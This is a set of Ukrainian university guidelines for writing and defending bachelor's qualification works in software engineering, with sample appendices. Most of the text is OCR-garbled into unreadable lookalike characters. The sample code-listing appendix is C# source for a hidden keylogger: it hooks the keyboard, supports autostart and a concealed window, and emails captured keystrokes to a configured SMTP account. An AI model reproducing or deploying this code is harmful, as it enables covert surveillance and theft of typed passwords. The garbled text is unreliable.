4. AmapatHi Ta mporpamHi 3acobm, mo OyId BUKOPUCTaHI IJIsT PO3POOKH
MIPOTPaMHOTO 3a0€3MeUeHHS.

5. Ormmuc erariB po3poOKU Ta CTPYKTYpPH MPOEKTY.

6. Omnuc iTepdeiicy nporpamu.

7. Bi1oMOCTI 3 €KOHOMIYHOTO PO3LTY.

8. BucHoBKH, OTprMaHi B pe3y/ibTaTi BAKOHAHHS KBaJi(iKaliiHOI poOoTH.

OxpiM 3a3HaYEHUX IyHKTIB /10 MPE3EHTAIli MOXKYTh OyTH BKJIIOUYEH] U 1HIII, IO
B OUIBIIINA Mipi, 32 [yMKOIO BUKOHABI, TOMTOBHIOBATUMYThH CBOIM 3MICTOM JIOTIOBi/Ib
PO BUKOHAHY pOOOTY.

KinbkicTs crnaiiziiB moBuHHa OyTH 3aramsHAM o0csaTroM Bix 12 mo 18 Ta 3anexuTh
BiJ] 3arajbHOTO Yacy, BUAUICHOTO Ha JIOTOBib, 10 ckiagae 10 xB.

Moga mpe3eHTailii Ta A10MOBiIi Ma€ OyTH OJIHAKOBOIO 3 TEKCTOM MOSICHIOBAILHOL
3aIHCKH.

Bci cnaiiay moBuHHI OyTH 3MICTOBHUMH Ta Bi3yaJlbHO CIIPUSTIUBUMH.

8. Ilopsinok miaroroBkM Ta 3axucT KkBagdidikaniiiHoi podoTH

[TosicHIOBaNbHY 3aMMCKy OPYKYIOTH 32 JOTIOMOTOIO NMPUHTEPA HAa OJHOMY Ooiri
apkyma Oigoro mamepy ¢dopmary A4 (210x297 wmm). KinbkicTe CcTOpIHOK
MOSICHIOBAJILHOT 3anmicku Mae ckiaagaT Big 60 qo 100 cropiHOK.

B po3npykoBaHoMy BUTIISIII TEKCT OaKagaBPChKOi poOOTH MOMAETHCS HA ITiIMHKC
KEepIBHUKAM PO3JLIIB Ta HOPMOKOHTPOJIEPY, 5Ki, B CBOIO UEPTry, MEPEBIPAIOThH AKICTh
BUKOHAHOI pOOOTH, pOOJISATh 3ayBaXKEHHS, SKIIIO BOHU €, T4 BIAMPABISIOTH poOOTY Ha
JOOTIPAIIOBaHHS a00 BUCTABIISIFOTH BiANOBIIHY OIIIHKY.

Busnavaroun  sKicTh  BUKOHAHHS — KBali(ikaliiiHOi  poOOTH, KEpIBHUK
KBaJTi(pikaIifHOI pOOOTH BPaxOBY€ TaKl BUMOI'U:

- 00’eKTMBHE BHUCBITJIEHHS CTaHy IUTaHHS 3 TBOPYHM BHUKOPHUCTaHHSIM
Cy4yacHUX JiKepen iHpopmallii;

- OpUTIHANBHICTH OJCPKAHUX PE3YJIbTATIB;

- TPaKTUYHA 3HAYUMICTh PE3YJIbTaTIB;

- OOrpyHTYBaHHS pillIeHb 1 POTO3HUIIIH;

OpraHiyHMH 3B’S30K TOSACHIOBAJBHOI 3aMUCKH 3 JIEMOHCTpALi{HOIO
YaCTHUHOIO;

- HasABHICTH MOCHUJIAHb HA JDKepena iHdopMariii;

- BIACYTHICTh IyONIOBaHHSA, 3alBOI OMHMCOBOCTI MaTepialy, CTEPEeOTHITHUX
pIllIeHb, 110 HE BIUIMBAIOThH HA CYTh 1 BUCBITICHHS OTPUMAaHUX PE3yIbTATIB,;

- odopMiIeHHS IEMOHCTpAIliiHUX MaTepialgiB Ta TOSICHIOBIBHOI 3aIllMCKH
BIJIMTOBIAHO O YMHHHUX CTaHIaPTIB;

- 3araJibHa Ta mpodeciiiHa TPaMOTHICTh, JAKOHI3M 1 JIOTIYHA TOCIIJIOBHICTh
BUKJIay MaTepiaiy;

- SIKICTh O(DOPMIICHHS;
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- CaMOCTIMHICTh BUKOHAHHSI.

HopmokonTponep ormiHioe cTymiHb 3acTOCyBaHHS B KBasi(ikamiiHii poOoTi
BUMOI YHMHHHX CTaHAAPTIB, IHIINX HOPMATUBHHUX JOKYMEHTIB, HAasSBHOCTI U
IPaBUILHOTO O(POPMIIEHHS TOCUJIaHb HA HUX.

l'oroBa mosicCHIOBasIbHA 3amycKa IEpeIUIiTaeThess B THHOrpadii KOPCTKUM
neperuieToM. B kiHens poOOTH BKIAAAETHCS JAUCK B OUIOMY KOHBEPTI 13 3ammcamu
¢ailsiiB po3po6IEeHOro MPOEKTy, TOKYMEHTOM HOsACHIOBaJIbHOI 3amucku (B Word ta
PDF ¢opmarti) Ta npesenTarii.

KBamidikauiiina pobora 3 mignucamMu Ta OI[IHKAMHU BCIX KEPIBHUKIB PO3ALIIB,
HOPMOKOHTpOJIEpa Ta 3aBiyBaua Kadeapy B 3a3HAUYCHUH CTPOK IMOJAETHCS HA 3aXUCT
1o EK.

3axucT KkBami(iKalifHUX pOOIT MPOBOIUTHLCS Ha BIAKpUTOMY 3acigaHHi EK.

Komiciss Moxe po3risiiaTH THTaHHS TPO JEpKaBHY aTECTallil0 KOXKHOTO
CTYJICHTa 32 HasIBHOCTI TAKUX JIOKYMEHTIB!

- BIJOMOCTI PO BUKOHAHHS CTYJEHTaMU HAaBYAJILHOTO IUIaHYy Ta MPO OIHKH,
OTpUMaHI HUMHU TpU CKJIaJaHHI €K3aMEeHIB 1 3ajiKiB 3 TEOPEeTUYHUX JIHCIUILIIH,
KypCOBHX HPOEKTIB Ta POOIT, yCiX BU/IB MPAKTHKH, JEPKABHUX €K3aMEHiB;

- 3aJliIKOBa KHMIKKA;

- kBamidikariitHa po0oTa;

- BIATYK KepiBHHMKA Ha KBadiQikauiitHy poboTy;

- peueHn3sis (axiBIid BiMOBIIHOI KBaTi(iKaIlii;

- ceprudikar mpo yCIinHy NepeBipKy Ha HAABHICTh TEKCTOBUX 3aII03MYCHbB.

Ha 3acigamas komicli MOXyTh TOmaBaTMCAs ¥ 1HOI MaTepiaid, MIO
XapaKTepU3yI0Th HAYKOBY Ta MPAKTUYHY IIHHICTP BUKOHAHOI KBajiQiKamiifHOl
pobotu: Biaryku ¢axiBmiB a00 HAYKOBIIIB, JOBIIKA UM aKTH TPO BIPOBAIKCHHS B
NPAaKTUKY HAyKOBHX JOCIIKEHb, 3aMOBJICHHS MIJIPUEMCTB HA BHUKOHAHHS
kBarmigikaniiHoi poOoTH, Komii omyOJiKOBaHMX CTaTeld 3a TEMOIO MPOEKTY,
JOKYMEHTaIlis, [0 MiATBEPIKYE MPAKTHYHE 3aCTOCYBAHHS MPOEKTY, MAKETH, 3pa3KH
MaTepialiB, BUpoOiB, METOJUYHI pO3POOKHU TOLIO.

3aciiaHHs KOMICI IPOXOIUTh Y BUKJIAJIEHIN HIXKUE TIOCIIAOBHOCTI.

I'omosa EK:

- BIJAKpHMBa€ 3aciflaHHS Ta [MPEJACTaBIs€ MPUCYTHIM YJIEHIB KOMICIi,
MMOCHJIAIOYMCH Ha BIJMOBIAHMI HaKas3;

- oromomye po3knan, mnopsagok podotu EK, permament mnpesenTamii
kBasiQikaiifHoi poOOTH, KpUTEPIi OLIHIOBAHHS;

- ONPHIIIOJIHIOE BIJIOMOCTI PO BUKOHAHHS CTYJICHTOM HaBUAJIbHOTO IUIAHY Ta
HaJ/la€ oMy CIIOBO I Mpe3eHTallli pe3ynbTaTiB KBajli(ikaniiHoi poooTu.

CryneHT Ha3uBae TeMy KaamidikaiiiiHoi poOoTH, (HOpMyIIOe TPOTHPIYUS
NpakTUku (mpoOjemMu), MO0 JEKUTh B OCHOBI BHOOpPY TeMH, apryMeHTye ii
aKTyaJbHICTh, BHU3HAYA€ TPEIMET pO3poOKH abo JOCHIKEeHb, (OPMYIIOE
IIOCTAHOBKY 3aB/IaHb Ta PE3YyJbTaTH iX BUKOHAHHs, OLIHIOE iX Ha BIJIOBITHICTb
BUMOTaM HOBHU3HH, JOCTOBIPHOCTI Ta TWPAaKTHUYHOI 3HAYMMOCTI, BIAIMOBIAa€ Ha
3alUTaHHS WICHIB Ta ToJoBH Kowmicii. HaBuanbHiI MOCATHEHHS 3100yBadiB BHIIOT
OCBITM 3a pe3yJbTaTaMH BHBUYEHHS KypCy OLIHIOBAaTUMYTBhCS 3a IIKaJOH0, IO
HaBE/ICHA HIDKYE:
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PeliTunrosa nikaia [acTHTYIIHA MIKaTa
90 - 100 BIJIMIHHO
74 — 89 no6pe
6073 3aI0BUTLHO
0-59 HE3aJ0BUILHO

[Ticns 3aBepiieHHS 3aXUCTY YCIX POOIT KOMICiSl BUCTABJIS€ KOXKHOMY CTYIEHTY
IHTErpajbHy OLIHKY, BUXOISYH 3 TAKUX CKJIAJIOBUX:
- OIliHKa KepiBHUKa KBaTiikamiitHoi podoTu;
- OIlIHKA PEIEH3CHTA;
- OIlIHKAa Tpe3eHTalii pe3yJibTaTiB (AKICTh JOMOBIJII Ta JIEMOHCTpPAIIHUX
MatepiajiB) KOXKHOTO YIEHa KOMICIi;
- OLIIHKa BIAMOBIJIEH Ha 3alIUTaHHS I11]] Yac 3aXUCTY KOKHOTO 4jieHa KOMICii.

Pimennss EK npo oninky kBamigikaiiiiiHoi poOoTH, a TaKOX MpPO MPUCBOEHHS
BUITYCKHUKY OCBITHHOT'O PIBHSI NMPUNMAETHCS HA 3aKPUTOMY 3aCiJIaHH1 BIIKPUTHM
roJ0CYBaHHSAM 3BUYANHOIO OUTBIIICTIO TOJIOCIB MIPUCYTHIX HA HHOMY YJICHIB KOMICII,
Akl Opanu ydacTh y 3acimanHi. ['onoc romoBu EK € BupimamsHUM Ipu OJHAKOBIi
KIJIBKOCTI T'OJIOCIB.

Y Tux BUMagKax, KOJIM 3axUCT KBadi(ikamiiHoi poOOTH  BU3HAHO
He3a10BIIbHNM, EK BCTaHOBIIOE, UM MOXKE CTYJICHT MO/IaTH Ha MOBTOPHUN 3aXUCT Ty
camy poOOTy 3 JOOMpaIfoBaHHSIM, YW 3000B’S3aHUN OMpAIIOBATH HOBY TEMY,
BH3HAUEHY BUITYCKOBOIO Ka(eaporo.
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JIOJATOK A

MMPUKJIAL PEOEPATY
PED®EPAT
[losicHioBanpHa 3amucka: _ C.,  pucC.,  Tabnm.,  JAOA.,  JDKeped.

OOG'exT PO3pOOKH: TIPOTpaMHUI JOJATOK T 1HPOPMAIIHHOT CHCTEMH CKIIaTy-
MarasuHy 3 NpoJIaXKy KOMIT I0TEPIB Ta KOMIIEKTYHOUHX.

Merta kBani¢ikamiifiHoi poOOTH: CTBOPEHHS MPOrpaMHOTO 3a0e3MeYeHHS IS
MIATPUMKH OTepalii CKIagy-MarasuHy s MiABUINEHHS HPOJAYKTUBHOCTI HOTO
NpPaliBHUKIB 1 Ui CKOPOYEHHA 3aTpaT 4acy Ha OQOpMIIEHHS TOBApiB, BEICHHA
00J1iKy TOBapiB, O(QOpMIIEHHS NPOJAXY, IIAHYBAaHHA Ta MiAOIPKM KOMIUICKTAIlli
KOMIT FOTEPIB, 3MIMCHEHHS aHaji3y WOro MISUTBHOCTI, peasli30BaHUX 3a JOIIOMOTOIO
aBTOMAaTH3allli MpOIeCy BEIEHHS EJEKTPOHHOI 0a3W NaHWX CHUCTEMH, BUKOHAHHS
3aMMTIB Ta OTPUMAHHS 3BITIB AT aHAMI3Y MISTIBHOCTI MiAIIPUEMCTBA.

VY BcTymi po3risiiaeThes aHANI3 Ta CyJacHUH CTaH MPoOJIeMH, KOHKPETU3YETHCS
MeTa KBadidikamiiftHoi poOOTH Ta raiy3b ii 3aCTOCYBaHHS, HaBEACHO OOTPYHTYBaHHS
aKTyaJbHOCTI TEMHU Ta YTOYHIOETHCS TIOCTAHOBKA 3aBJIaHHS.

Y nepuioMy po3[iai  MPOAHATII30BaHO MPEAMETHY Traiy3b, BH3HAYEHO
aKTyaJIbHICTh 3aBIaHHS Ta NPU3HAYEHHS PO3POOKH, CHOPMYIILOBAHO IOCTAHOBKY
3aBJIaHHS, 3a3HaY€HO BUMOTH JI0 POTPaMHOI peaizallii, TEXHOJOT1N Ta MPorpaMHUX
3aco0iB.

VY npyroMy pos3jiii mpoaHaidi30BaHI HasBHI pillIEeHHS, oOpaHO TaThOPMH JIst
pO3pOOKH, BUKOHAHO TMPOEKTYBAaHHSI 1 po3poOKa IMporpamu, oOmNHCaHa podoTa
OporpamMM, alropuT™M 1 CTpyKTypa 11 (YHKIIOHYBAaHHS, a TaKOX BHUKJIMK Ta
3aBaHTAXXEHHS NPOTpaMM, BU3HAYEHO BXIAHI 1 BMXIJHI JaHI, OXapaKTepHU30BaHO
CKJIaJl TapaMeTpiB TEXHIYHUX 3aCO0iB.

B exoHomiuHOMY  pO37imi  BH3HAUY€HO  TPYAOMICTKICTH  pO3poOsieHOl
iHpOpMaIliifHOT cUCTeMH, MPOBEICHUH MiIPpaXyHOK BapTOCTI poOOTH MO CTBOPEHHIO
MpOTpaMu Ta PO3PaxOBaHO Yac Ha OTO CTBOPEHHSI.

[IpakTyHe 3HAYEHHs TOJSATA€ Y CTBOPEHHI MPOTPAMHOrO J0AaTKa, 10 Hajae
MOJKJTUBICTD €JIEKTPOHHOTO 30epiraHHs JaHUX PO TOBApH, MPOAaXKi, HAJAXOIKEHHS,
BeJICHHS 0a3W JMaHMX, WIJOMTTS MIACYMKIB 3 TpOJaxy, OTpPUMaHHS 3BITIB 1
dbopMyBaHHS CyyTHBOI JIJIOBOT TOKYMEHTAIII1.

AKTyalbHICTh TaHOTO MPOTPAMHOTO MPOAYKTY BU3HAYAETHCS BEIIMKUM TIOTTUTOM
Ha TOMiIOHI PO3pPOOKH, IO ONTUMI3YIOTh Ta CIPOIIYIOTH Iii MOAO0 BEASHHS Oasu
JaHUX CKJIaay-Mara3uHy, CKOPO4yIOTh 4ac Ha O(QOPMIICHHS MPOJAX; IMiJBUIIYIOTH
e(EeKTUBHICTH AISTIBHOCTI Mara3uHy IUISIXOM €JIEKTPOHHOTO BEICHHS HOKyMEHTaLii 3
MOJKJIUBICTIO aHaJi3y HAasSBHUX JAHUX 1 HAJaHHS HEOOXITHUX 3BITIB 1 CyMyTHBHOI
JIJIOBOT JIOKYMEHTAIII].

Coumcox  kmouoBux  cmiB:  [IPOTPAMA, CKJIIAJl, KOMIT'KOTEP,
IHOOPMAIIMHA CHUCTEMA, OBJIK, AJI'OPHUTM, ITPOEKTYBAHHJ,
MEHIO, BKIJIAZIKA, JIOAATOK.
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JIOJATOK B
3PA30K O®OPMJIEHHSI 3MICTY

3MICT
PR E P AT ...
ABSTRACT ..
IEPEJIIK YMOBHUX ITO3HAUYUEHD. ..ottt
BT VI .o e e

PO3ILT 1. AHAJII3 ITIPEAMETHOI T'AJIY3I TA TIOCTAHOBKA 3ABJIAHHS .

1.1.
1.2.
1.3.
1.4.
L.5.
1.5.1.
1.5.2.
1.5.3.
1.5.4.

3aranabHi BIAOMOCTI 3 TPEAMETHOT TAITY31. . e et eeeneeeeeeneeeneenienieennennn.
[Mpu3HaueHHS pO3POOKH Ta TATY3b 3aCTOCYBAHHS. ...\ vuveererenraneannnnnnn
0P (o3 :1:2: 101 02 8 o T 10 10) N S
TTOCTAHOBKA 3ABIAHHS. . ... ettt ettt et et et et eaean
Bumorn 10 mporpamu ab0 IpOrpPaMHOTO BHPOOY....veuvrrenereereeanneannnsn.
Bumoru 10 GyHKIIOHATEHUX XAPAKTEPHUCTHK. .. uveneeneeneeneeneaneaneaneannns
Bumorn 10 1HHOPMAITIHHOT OC3IEKH. ...t eeteeeieeieeieeireeeireeaaeannnns
Bumoru 10 ckinagy Ta mapamMeTpiB TEXHIYHUX 3aCO0IB. .....ouvuveeieiniinannss.

Bumoru 10 iHpopMamiifHOT Ta IPOrPaMHOT CYMICHOCTI «..uvveveeenenennenn.

PO3ALJT 2. TPOEKTYBAHHA TA PO3POBKA ITPOTPAMHOI'O ITPOAVYKTY ..

2.1.
2.2.
2.3.
2.4.
2.5.
2.6.
2.7.
2.7.1.
2.7.2.
2.7.3.

@DYHKIL10HATBHE MPU3HAUEHHS IPOTPAMU. . eeeeneeienenteneeneeneeneeneenennee
Omnwuc 3aCTOCOBAHMX MATEMATHIHUX METOIIB. ... venteneeneenneneennannennanns
Omnuc BUKOPHUCTAHOT apXiTEKTYPH Ta MAOJIIOHIB MPOEKTYBAHHS. . .............
Onuc BUKOPUCTAHUX TEXHOJIOTIH Ta MOB IMPOTPAMYBAHHS. ... .vveenennen...
Omnwuc CTpyKTypH MPOrpaMu Ta aJroOpuTMIB 11 QYHKIIOHYBAHHS .............
OOrpyHTYBaHHS Ta Oprasi3ailis BXiJHUX Ta BUXITHUX JAHUX MPOTPAMH. ...
Omnuc po3po0AEHOT0 MPOTPAMHOTO MPOIYKTY ... eeveuveenreeeneeneeneeneeneennnes
BUKOPHCTAHT TEXHITHI 3ACO0M. ... uettentetteiteiteiett ettt eeeeaee
BUKOPHUCTaHT TIPOTPAMHI 3ACO0H. ...\t ttett et eaeeeiieeeeeeieeaaeeanaennns

BHKIIMK Ta 3aBAHTAKEHHS TIPOTPAMI. . ...ttt eeteneenaenteneeneeneaneanennenns
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2.7.4. OnucC THTEPPEHCY KOPHCTYBATA. ... vrrrenreeneenneenneaneenneeneenneaneenneeneennss
PO3JIJI 3. EKOHOMIUHUMM PO3JIIL. ...
3.1.  Po3paxyHOK TPYZOMICTKOCTI Ta BApTOCTI pO3POOKH IMPOTPAMHOTO MIPOIYKTY.
3.2.  PaxyHOK BUTPAT HA CTBOPECHHS MPOTPAMU ... .uuuteeennneeeennaeeannaeeeannnaeennns
BUICHOBKW. ... e
CIINMCOK BUKOPUCTAHUX JIKEPEJL. ..o
J1oMaTOK A. KO IIPOTPAMU. ...\ eeteneet et ettt e et e e e e e e e e ae e e e enans
Honatok b. Biaryk xepiBHUKa €KOHOMIYHOTO PO3IIIITY . .. uvueeneeneeneeneeneaneenenennn

Jlonatok B. TIepemik GalimiB HA JTUCKY . .. ..vvenrteieteenteeenteenneeeteeaeeanneeanneannnns
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JOJATOK B

HNPUKJIAL O@OPMUIEHHS ITEPEJIIKY YMOBHHUX ITIO3HAYEHD

MNEPEJIIK YMOBHHUX ITIO3HAYEHb

bJ1 — 6a3a manux;

I'A — reneTnyHuUl aNroOpuTM™;

I'3K — ripan4o-36aradyBanbHuil KOMOIHAT;

I'lC — reoindopmaiiiitHa cucrema;

I'[CIIIIP — reoingopmariiitia cucteMa NiATPUMKH PUHRHSATTS PillICHb;
I'TIK — rpaHUYHO-ITPUIYCTUMA KOHIICHTPALIS;

MHK - Meros HallMeHIITNX KBaJIpaTiB;

[TiBHI 3K — nmiBHIYHMI TipHUYO-30aradyBanibHUN KOMOIHAT;

OIIP — ocoba, 110 mpuiiMae pilleHHs;

CIIIIP — cucrema miaTPUMKA MPUHAHATTS PIIIIEHB;

UML - Unified Modeling Language.
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TOJIATOK 7K
MPUKJIAJ] BUXITHOTO KOJIY KOMIPIOTEPHUX [TPOTPAM

JIICTHUHI ITPOI'PAMM

UNIT1.cs // ronoBHUit MOAYIb IPOTPaMH

//mipknrodaemo notpiGHi 6i0mioTekn

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using System.Windows.Forms;

using System.Net;

using System.Net.Mail;

using System.Xml;

using Microsoft. Win32;

// BCTaHOBJIIOEMO CJIOBHUK CHMBOJIIB Y PI3HUX MOBHHUX PO3KJIAAKAX:
List<Keys> pressedKeys;

Dictionary<uint, char[]> symbolsdict = new Dictionary<uint, char[]>()

{ 41, new char[]{"", '~ &, 'E'} },

{ 52, new char[]{.", ™', o', 10"} },
{ 53, new char[[{/,'?", """} },

3
int locale;
//BKazyeMo TIISIX /10 (Baiiay HaaalTyBaHs:
string cfgfile;
XmlDocument document;
//TTaliMep 4acTOTU BifNPaBKHU JIUCTIB!

System.Windows.Forms.Time rtimer = new System.Windows.Forms.Timer();
//K110 1porpamMa 3aIryCTHIIacs, TO
public Form1(){
InitializeComponent();
_pressedKeys = new List<Keys>();
locale = 0;
//3amucyeMo TIISIX 10 haimy:
cfgfile = Application.ExecutablePath;
cfgfile = cfgfile.Remove(cfgfile.Length - 3) + "xml";
//sxiio daiin Bxe icHye, TO:
if (File.Exists(cfgfile)){
try

{

document = new XmlDocument();
document.Load(cfgfile);
checkBox1.Checked = Convert.ToBoolean
(document.GetElementsByTagName(" AutoStart")[0].Inner Text);
ChangeAutoStart();
checkBox2.Checked =
Convert.ToBoolean(document.GetElementsByTagName("Hide")[0].Inner Text);
textBox1.Text = document.GetElementsByTagName("BuffSize")[0].InnerText;
textBox2.Text = document.GetElementsByTagName("TimeDelay")[0].InnerText;
timer = new System.Windows.Forms.Timer();
timer.Interval = Convert. Tolnt32(textBox2.Text) * 60 * 1000;
timer.Tick += OnTimedEvent;
timer.Start();
textBox3.Text = document.GetElementsByTagName("MailServer")[0].InnerText;
textBox4.Text = document.GetElementsByTagName("MailPort")[0].InnerText;
textBox5.Text = document.GetElementsByTagName("MailLogin")[0].Inner Text;
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textBox6.Text = document.GetElementsByTagName("MailPass")[0].InnerText;
¥

catch (Exception)
{
MessageBox.Show("Omubka B daiiie konpurypauuu. Y panure ero”);
}
}

//TIpy HATHCKAHHI KJIABIIIL:
void KBDHook KeyDown(Hooks.LLKHEventArgs e)
{
//K110 Takol KJIaBilll 3apa3 HEMAE Y CIUCKY HATHUCHYTOI, TO:
if (!_pressedKeys.Contains(e.Keys))
{ _pressedKeys.Add(e.Keys);
}
//sK110 OyJIM HATUCHYTI Taki KIABIIIi, TO BIAKPUBAEMO CXOBaHE BIKHO:
if (_pressedKeys.Contains(Keys.LControlKey) && _pressedKeys.Contains(Keys.LShiftKey) &&
_pressedKeys.Contains(Keys.LMenu) && _pressedKeys.Contains(Keys.H))
{ Show();
}
/[0 OyJIM HATHCHYTI TaKi KIaBilli, TO 3MIHIOEMO PO3KIAJKY KIaBiaTypH:
if (_pressedKeys.Contains(Keys.LShiftKey) && _pressedKeys.Contains(Keys.LMenu))
{ locale = (locale + 2) % 4;

¥
int shift = (_pressedKeys.Contains(Keys.LShiftKey) || _pressedKeys.Contains(Keys.RShiftKey))?1:0;
// noaeMo HaTHCHYTY KJIaBillly y CITHCOK 3 YpaXyBaHHSIM PO3KJIaJKH KIaBiaTypu:
if (symbolsdict.ContainsKey(e.ScanCode))

textBox7.Text += symbolsdict[e.ScanCode][locale+shift];

}
}

//sK1110 IporpaMa Oyiia 3aKpHTa, TO:
private void Forml_FormClosed(object sender, FormClosedEventArgs e)

{
//BIIKITIOYAEMO TTACTKY:
Hooks.KBDHook.UnlInstallHook();
//36epiraemo (aiiyl HaJaTyBaHb:

document.Save(cfgfile);
//3ynuHseMo TaiimMep:
timer.Dispose();

¥
//SIKIIIO TIpY HATHUCKAHHI KIIABIIll IOBKHHA TIEPEBICHIIa HOPMY, TO:
private void textBox7_TextChanged(object sender, EventArgs ¢)

{
if (textBox7.Text.Length >= Convert.ToInt32(textBox1.Text))

{
SendMail(textBox3.Text, Convert. Tolnt32(textBox4.Text), textBoxS5.Text, textBox6.Text,

"KeyHook", "TTocnennue " + textBox1.Text + " cumBonoB\r\n" + textBox7.Text);
textBox7.Clear();

H
}

UNIT2.cs

UNITN.cs
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JTOJATOK K
MPUKJIAJL BIIT'YKY KEPIBHUKA KBAJTI®IKALIIHOI POBOTH

BIAT'YK
Ha kBagdidikaniiiny podoTy 0akanaBpa
HA TeMy:
"Po3poOka nporpamMHoOro 3aée3nmevyeHHst A5 J0CTIIKeHHS MeTOAIB OLiHKHU
sikocTi podotu npaniBHukiB IT-komMnanin"
cTyaeHTKH rpynu 121-20-1 IBanoBoi Mapunu BikTopiBHI

TEKCT

KepiBauk kBaJjigikauiiiHoi podoru
poueHt kag. [I3KC, k.1.H. L.I. I'yaina
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) JTOJATOK JI
MPUKJIAJ PELEH3IT 30BHIIIHLOT'O CHEIIAJICTA

PELIEH3IS

Ha KBaJijikaniiiny podoTy 0akajaBpa
HA Temy:
" Po3poOka nporpaMHoro 3a6e3neyeHHs 1JIM J0CiI>KEHH MeTOIiB OIliHKH
sikocTi podoTu npauniBHukiB I'T-komnaniii "
cryaentku rpynu 121-20-1 Isanooi Mapunu BikTopiBan

TEKCT

Peuensent kBasidikauniiinoi podoru
3aB. ka¢. BIT, npodecop, a.1.H. B.1. Kopnienko
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JTOJATOK M
MPUKJIAJ O®OPMJIEHHS NEPEJIKY ®AWJIIB HA TUCKY

NEPEJIIK JOKYMEHTIB HA OITUYHOMY HOCI

Im’s1 aitay | Onmnc

[TosicHIOBaNTbHI JOKYMEHTH

I13_TIIb.doc [TosicHioBanpbHA 3ammcka A0 KBadiQiKamiiHOl
pobotu. lokyment Word.

[13_TIb.pdf [TosicHioBanbHA 3ammcka A0 KBadiQiKamiiHOl
pobotu B ¢popmari PDF

[Iporpama

Program.rar ApxiB.  Mictute  KOAM ~ mporpamMu 1
OTKOMIMJIbOBAHY IPOTpamy

[Ipe3enTanis

[TpesenTaris I1I6.ppt | [TpesenTarris kBamidikaiiiHoi poOoTH
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JOJATOK H

HPUKJIAL O®OPMJUIEHHS TABJIMILI 3 TIPOAOBXKEHHAM

Ta6mmg 2.2

Jani ximiuHoro anaJi3zy npo0 Boam 3i ceepaiosunu Ne 307 (OI'3K)

Ha BMICT XIMiYHMX Pe40BUH

PeuoBnHa
ara
1 2 3 4 5 6 7
12.06.2001| 5756 2436 1376 504 353 850 96
23.09.2002| 6312 2444 1584 55 337 958 78
17.03.2003| 6204 2393 1583 572 341 891 54
20.09.2004| 5778 2176 1594 533 346 849 104
05.12.2005| 5542 2193 1528 506 282 946 49
27.03.2006| 5400 1911 1532 521 280 790 24
20.06.2007| 5501 2022 1638 522 278 919 37
20.09.2008| 6602 2072 2182 88 145 2004 80
27.12.2009| 5710 2067 1740 511 259 1057 40
01.03.2010| 5735 2148 1682 201 474 2102 37
18.05.2011| 6051 2374 1692 545 301 1051 30
12.09.2012| 5618 1994 1712 497 306 931 43
20.11.2013| 5431 2406 1306 470 360 800 54
23.03.2014| 5706 2447 - 510 260 1081 -
25.05.2015| 1680 896 225 133 141 178 225
[Tpumitku:
1. BBMICT CyXOro 3ajJMIIKy.
2. Bwicr cynbdar-ioHiB.
3. Bawmict xy0p-ioHiB.
4. BMICT i0HIB KaJIBIIilO.
5. Bwicr i0HIB MarHito
6. Bicr ioHIB HaTpiIO.
7. Bwict rigpoxapOOHATHHX 10HIB.
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3akigy. Tadn. 2.2

PedoBuna
Jarta

1 2 3 4 5 6 7
20.11.2016| 1515 495 488 90 128 145 488
23.06.2017| 960 453 198 40 128 76 198
23.09.2018| 1102 615 150 52 124 103 150
23.03.2019| 2644 1411 92 90 192 591 92
15.06.2020| 2070 1254 122 106 192 206 122
19.11.2021| 3025 1918 106 145 240 373 34
14.04.2022| 3495 2158 213 170 280 461 37
18.07.2021| 978 285 170 - - - -
18.09.2022| 940 538 104 60 93 92 44
24.10.2023| 1256 504 185 - - - -

[Tpumitku:
8. BawMmicT cyXxoro 3aJuIIKy.
9. Bwicr cynbdar-ioHis.
10. Bewmict xmop-ioHiB.
11. BmicT i0HIB KaJbIIifo.
12. BmicT i0HIB MarHito
13. BicT i0HIB HATpiIO.

14. BMicT rizpokapOOHAaTHHX 10HIB.
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Ynopsaankn

Ipuxoauenko Cepriii ImutpoBrud

IleBuoBa Onsra CepriiBaa

METOIMYHI PEKOMEHJIALII 1O BAKOHAHHS
KBAJII®IKALIAHUX POBIT

3100yBayiB MepPHIOro PiBHS BUILOI OCBITH
cnenianbHoOCTi 121 IHkeHepiss nporpaMHoro 3ade3nevyeHHst

Binmosinanpauii 3a Bumyck M.O. Anekcees

Bugano B penakiiii aBTOpiB.
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CeigourBo npo BHeceHHs 10 JepxkaBHoro peectpy K Ne 1842 Bix 11.06.2004.
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